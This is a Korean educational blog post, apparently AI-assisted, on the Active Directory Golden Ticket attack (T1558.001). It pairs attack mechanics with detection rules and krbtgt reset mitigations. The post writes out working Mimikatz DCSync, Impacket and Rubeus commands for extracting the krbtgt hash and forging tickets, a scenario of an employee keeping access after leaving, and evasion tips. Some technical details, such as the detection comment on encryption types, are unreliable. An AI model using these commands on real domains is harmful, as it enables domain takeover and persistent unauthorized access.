Golden Ticket 위조: krbtgt 해시 1개로 도메인을 장악하는 원리 | T1558.001
krbtgt 해시 1개로 Active Directory 전체를 장악한다. Golden Ticket은 기본 10년간 유효하며, 비밀번호를 바꿔도 소용없다.
Active Directory 환경에서 KRBTGT 계정의 비밀번호 해시가 탈취되면 공격자는 도메인의 모든 리소스에 무제한 접근이 가능해집다. MITRE ATT&CK에서 T1558.001로 분류되는 Golden Ticket 공격은 현재까지 다수의 APT 그룹이 사용하는 치명적인 공격 기법이다.
기업의 Active Directory 환경에서 사용자가 매번 도메인 컨트롤러에 인증을 요청한다면 네트워크는 금세 마비될 것이다. 수천 명의 직원이 파일 서버, 프린터, 데이터베이스에 접근할 때마다 중앙 서버가 "이 사용자가 맞나?" 확인해야 한다면 말이다. 이런 문제를 해결하기 위해 MIT에서 개발한 것이 Kerberos 프로토콜이다.
하지만 Kerberos의 핵심인 KRBTGT 계정이 공격자 손에 넘어가면, 마치 조폐공사의 인쇄기를 탈취당한 것과 같은 상황이 된다. 공격자는 진짜 화폐처럼 보이는 위조 티켓을 무제한 발행할 수 있게 된다.
Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket. Golden tickets enable adversaries to generate authentication material for any account in Active Directory. — MITRE ATT&CK T1558.001
T1558.001은 공격자가 KRBTGT 계정의 비밀번호 해시를 이용해 Kerberos TGT(Ticket-Granting Ticket)를 위조하는 공격 기법이다. 이렇게 위조된 TGT를 Golden Ticket이라고 부르며, 공격자는 이를 활용해 Active Directory의 모든 계정에 대한 인증 자료를 생성할 수 있다.
| 분류 | 내용 |
|---|---|
| MITRE ID | T1558.001 |
| 상위 기법 | T1558 (Steal or Forge Kerberos Tickets) |
| 전술 | Credential Access, Lateral Movement, Persistence |
| 플랫폼 | Windows |
| 권한 요구 | Administrator |
| 탐지 난이도 | 매우 높음 |
이 기법은 여러 전술을 동시에 달성한다:
Golden Ticket을 이해하려면 Kerberos 관련 용어들을 명확히 구분해야 한다.
| 용어 | 설명 |
|---|---|
| TGT | 역할: 다른 티켓을 받기 위한 티켓 / 발급자: KDC / 유효 기간: 10시간 / 접근 범위: 도메인 전체 |
| Service Ticket | 역할: 특정 서비스 접근용 티켓 / 발급자: TGS / 유효 기간: 10시간 / 접근 범위: 특정 서비스만 |
| Golden Ticket | 역할: 위조된 TGT / 발급자: 공격자 / 유효 기간: 임의 설정 가능 / 접근 범위: 도메인 전체 |
| Silver Ticket | 역할: 위조된 Service Ticket / 발급자: 공격자 / 유효 기간: 임의 설정 가능 / 접근 범위: 특정 서비스만 |
| KRBTGT | 역할: TGT 암호화/서명용 계정 / 발급자: 시스템 / 유효 기간: 영구 / 접근 범위: N/A |
핵심 차이점:
Golden Ticket 공격이 공격자에게 매력적인 이유는 Kerberos 프로토콜의 신뢰 모델 때문이다. 서비스는 KDC가 발급한 티켓을 무조건 신뢰하므로, 위조된 티켓이라도 올바른 형식이면 받아들이다.
탐지 회피의 정밀함
정상적인 인증과 달리 Golden Ticket은 다음과 같은 특징으로 탐지를 회피한다:
| 정상 TGT | Golden Ticket |
|---|---|
| KDC에서 발급 | 공격자가 로컬에서 생성 |
| AS-REQ 로그 남음 | 로그 기록 없음 |
| 10시간 유효 | 임의 기간 설정 가능 |
| 사용자 정책 적용 | 정책 무시 가능 |
권한 상승의 자유로움
공격자는 Golden Ticket에서 그룹 멤버십을 자유롭게 조작할 수 있다:
{
"groups": [
512, // Domain Admins
519, // Enterprise Admins
520, // Group Policy Creator Owners
544 // Administrators
]
}
이를 활용해 일반 사용자 계정으로도 도메인 관리자 권한을 획득할 수 있다.
The Kerberos realm has three basic participants: the client, the service, and the Key Distribution Center (KDC). — RFC 4120, Section 1.1
Kerberos 프로토콜은 여러 주체로 구성된다:
The TGT is encrypted and signed with a special account called KRBTGT on the DC. Only the KRBTGT for the domain can open and read the TGT data. — Microsoft Active Directory Documentation
KRBTGT 계정은 다음과 같은 특성을 가진다:
Golden Ticket은 공격자가 KRBTGT 계정의 해시를 사용해 위조한 TGT이다. 이 티켓은 KDC를 거치지 않고도 유효한 것처럼 보이며, 도메인의 모든 서비스에서 정상적인 인증으로 받아들여집니다.
먼저 정상적인 Kerberos 인증 흐름을 이해해야 한다.
1단계: AS-REQ/AS-REP (Authentication Service)
클라이언트가 도메인 컨트롤러에 TGT를 요청한다.
AS-REQ 요청 구조:
- 클라이언트명: user@domain.com
- 요청 서비스: krbtgt/DOMAIN.COM
- 타임스탬프: 현재 시간
- 사전 인증 데이터: 사용자 비밀번호 해시로 암호화
도메인 컨트롤러는 사용자를 검증한 후 TGT를 발급한다:
{
"ticket": {
"tkt_vno": 5,
"realm": "DOMAIN.COM",
"sname": "krbtgt/DOMAIN.COM",
"enc_part": "KRBTGT 비밀키로 암호화된 데이터"
},
"session_key": "클라이언트-KDC 세션키"
}
2단계: TGS-REQ/TGS-REP (Ticket-Granting Service)
클라이언트가 TGT를 사용해 특정 서비스 티켓을 요청한다:
TGS-REQ 요청:
- TGT: 1단계에서 받은 티켓
- Authenticator: 세션키로 암호화된 인증 정보
- 요청 서비스: cifs/fileserver.domain.com
3단계: AP-REQ/AP-REP (Application Request)
클라이언트가 서비스 티켓으로 실제 서비스에 접근한다.
공격자가 KRBTGT 비밀번호 해시를 획득하면, KDC를 거치지 않고 직접 TGT를 생성할 수 있다.
Golden Ticket 생성 과정
- KRBTGT 계정 해시 (NTLM 또는 AES)
- 도메인 SID (Security Identifier)
- 도메인명
- 위장할 사용자명
2. **티켓 구조 생성**:
```json
{
"username": "administrator",
"domain": "DOMAIN.COM",
"sid": "S-1-5-21-xxx-xxx-xxx-500",
"groups": [512, 513, 520, 544], // 관리자 그룹
"logon_time": "2024-01-01 00:00:00",
"lifetime": "2034-01-01 00:00:00" // 10년 후
}
# 의사 코드 - 실제 구현은 복잡함
ticket_data = create_ticket_structure(username, domain, sid)
encrypted_ticket = encrypt_with_krbtgt_key(ticket_data, krbtgt_hash)
golden_ticket = format_as_tgt(encrypted_ticket)
**실제 공격 도구 사용 예시**
**Mimikatz**를 사용한 Golden Ticket 생성:
```cmd
# KRBTGT 해시 추출
mimikatz "lsadump::dcsync /domain:corp.com /user:krbtgt"
# Golden Ticket 생성
mimikatz "kerberos::golden /domain:corp.com /sid:S-1-5-21-xxx-xxx-xxx /rc4:aad3b435b51404eeaad3b435b51404ee /user:administrator /ptt"
Impacket을 사용한 Golden Ticket 생성:
# Golden Ticket 생성 및 저장
python ticketer.py -nthash aad3b435b51404eeaad3b435b51404ee \
-domain-sid S-1-5-21-xxx-xxx-xxx \
-domain corp.com administrator
# 생성된 티켓 사용
export KRB5CCNAME=administrator.ccache
python psexec.py -k -no-pass administrator@dc01.corp.com
KRBTGT 해시의 역할
KRBTGT 해시는 모든 TGT의 암호화 키 역할을 한다. 공격자가 이 키를 획득하면:
위조 티켓의 검증 과정서비스는 다음 단계로 티켓을 검증한다:
1. 티켓 형식 검사 (ASN.1 구조)
2. KRBTGT 키로 복호화 시도
3. 내부 데이터 무결성 확인
4. 유효기간 검사
5. 접근 권한 확인
Golden Ticket은 모든 검증 단계를 통과하므로 정상 티켓으로 인식된다.
1. 로그 부재
Golden Ticket 사용 시 다음 로그가 생성되지 않다:
2. 정상 트래픽과 구별 불가
네트워크 관점에서 Golden Ticket 사용은 정상적인 Kerberos 인증과 동일하게 보이다:
AP-REQ 패킷 구조 (정상/위조 구별 불가):
- 프로토콜: Kerberos (88/tcp)
- 암호화: AES256 또는 RC4
- 형식: ASN.1 DER 인코딩
시나리오 1: APT 그룹의 지속적 접근
시나리오 2: 내부자 위협
내부 IT 관리자가 퇴사 후에도 접근 권한을 유지하려는 경우:
# 퇴사 전 KRBTGT 해시 백업
mimikatz "lsadump::dcsync /domain:company.com /user:krbtgt" > krbtgt_backup.txt
# 퇴사 후 원격에서 Golden Ticket 생성
mimikatz "kerberos::golden /domain:company.com /sid:S-1-5-21-xxx /rc4:해시값 /user:admin /ptt"
# VPN 연결 후 내부 리소스 접근
psexec \\fileserver cmd
주요 공격 도구
kerberos::golden /domain:corp.com /sid:S-1-5-21-xxx /krbtgt:hash /user:admin
2. **Impacket**: Python 기반 도구 모음
```bash
ticketer.py -nthash hash -domain-sid S-1-5-21-xxx -domain corp.com admin
Rubeus.exe golden /rc4:hash /domain:corp.com /sid:S-1-5-21-xxx /user:admin
**고급 회피 기법**
1. **수명 조작**: 정상적인 10시간 대신 짧은 시간 설정으로 의심 회피
2. **그룹 최소화**: 불필요한 고권한 그룹 제외
3. **타임스탬프 조작**: 정상적인 로그인 시간대로 설정
### 탐지 방법
**1. 비정상적인 TGT 특성 모니터링**
Golden Ticket은 다음과 같은 특징으로 탐지할 수 있다:
```powershell
# PowerShell을 이용한 TGT 검사
klist tgt
# 비정상적인 특성 확인:
# - 매우 긴 유효기간 (10시간 초과)
# - 이상한 암호화 타입 (RC4 대신 AES 등)
# - 존재하지 않는 사용자명
2. Event Log 분석
Golden Ticket 사용 시 특정 패턴을 보이다:
| Event ID | 설명 | Golden Ticket 특징 |
|---|---|---|
| 4624 | 로그온 성공 | AS-REQ 없이 갑작스러운 로그온 |
| 4634 | 로그오프 | 비정상적으로 긴 세션 |
| 4769 | 서비스 티켓 요청 | TGT 발급 로그 없이 서비스 접근 |
3. 네트워크 모니터링
1. KRBTGT 계정 보호
정기적 비밀번호 재설정:
# KRBTGT 비밀번호 재설정 (2회 실행 권장)
Reset-KrbtgtAccountPassword -Server corp.com
권장 재설정 주기:
2. 특권 계정 관리
{
"domain_admin_policy": {
"separate_admin_accounts": true,
"admin_workstations_only": true,
"no_internet_access": true,
"mfa_required": true
}
}
3. 모니터링 강화
SIEM 규칙 예시:
rule_name: "Potential Golden Ticket Usage"
conditions:
- event_id: 4624
- logon_type: 3
- no_prior_as_req: true
- session_duration: ">24h"
severity: critical
4. 네트워크 분할
도메인 컨트롤러를 별도 네트워크에 격리하여 접근을 제한한다.
5. 제로 트러스트 아키텍처
전통적인 "내부는 신뢰" 모델 대신:
Golden Ticket 공격(T1558.001)은 KRBTGT 계정의 비밀번호 해시 하나만으로 도메인 전체를 장악할 수 있는 치명적인 공격 기법이다. 이 공격의 핵심은 Kerberos 프로토콜이 KDC에서 발급한 티켓을 무조건 신뢰한다는 설계 특성을 악용하는 것이다.
공격자는 정상적인 KDC 없이도 유효한 TGT를 위조할 수 있으며. 이를 활용해 탐지 로그 없이 도메인의 모든 리소스에 접근할 수 있다. 특히 위조된 티켓에 임의의 권한과 수명을 설정할 수 있어, 수년간 지속적인 접근이 가능한다.
방어를 위해서는 KRBTGT 계정의 정기적인 비밀번호 재설정이 가장 중요하며, 비정상적인 Kerberos 트래픽 패턴 모니터링과 특권 계정 관리 강화가 필요하다.
관련해서 Silver Ticket 위조: KDC 없이 5분 만에 서비스 접근하는 원리와 Kerberoasting 깊이 있는 기술 분석: RC4 암호화가 만든 치명적 약점 | T1558.003도 함께 이해하면 Kerberos 공격의 전체적인 위협 양상을 파악할 수 있다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.